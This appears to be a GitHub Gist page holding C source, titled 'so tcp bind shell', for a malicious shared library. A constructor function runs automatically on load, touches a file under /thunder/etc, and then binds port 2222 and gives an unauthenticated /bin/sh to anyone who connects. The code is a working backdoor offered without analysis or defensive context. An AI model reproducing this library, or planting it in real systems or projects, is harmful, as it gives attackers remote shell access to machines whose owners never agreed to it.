Last active
October 26, 2018 15:31
-
-
Save sin5678/814d830aafdadcbb29fa0b1e03b7e758 to your computer and use it in GitHub Desktop.
so tcp bind shell
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/socket.h> | |
#include <sys/types.h> | |
#include <netinet/in.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
int shell() | |
{ | |
int resultfd, sockfd; | |
int port = 2222; | |
struct sockaddr_in my_addr; | |
// syscall 102 | |
// int socketcall(int call, unsigned long *args); | |
// sycall socketcall (sys_socket 1) | |
sockfd = socket(AF_INET, SOCK_STREAM, 0); | |
// syscall socketcall (sys_setsockopt 14) | |
int one = 1; | |
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); | |
// set struct values | |
my_addr.sin_family = AF_INET; // 2 | |
my_addr.sin_port = htons(port); // port number | |
my_addr.sin_addr.s_addr = INADDR_ANY; // 0 fill with the local IP | |
// syscall socketcall (sys_bind 2) | |
bind(sockfd, (struct sockaddr *) &my_addr, sizeof(my_addr)); | |
// syscall socketcall (sys_listen 4) | |
listen(sockfd, 0); | |
// syscall socketcall (sys_accept 5) | |
resultfd = accept(sockfd, NULL, NULL); | |
// syscall 63 | |
dup2(resultfd, 2); | |
dup2(resultfd, 1); | |
dup2(resultfd, 0); | |
// syscall 11 | |
execve("/bin/sh", NULL, NULL); | |
return 0; | |
} | |
void __attribute ((constructor)) init (void) | |
{ | |
system("touch /thunder/etc/develop"); | |
shell(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment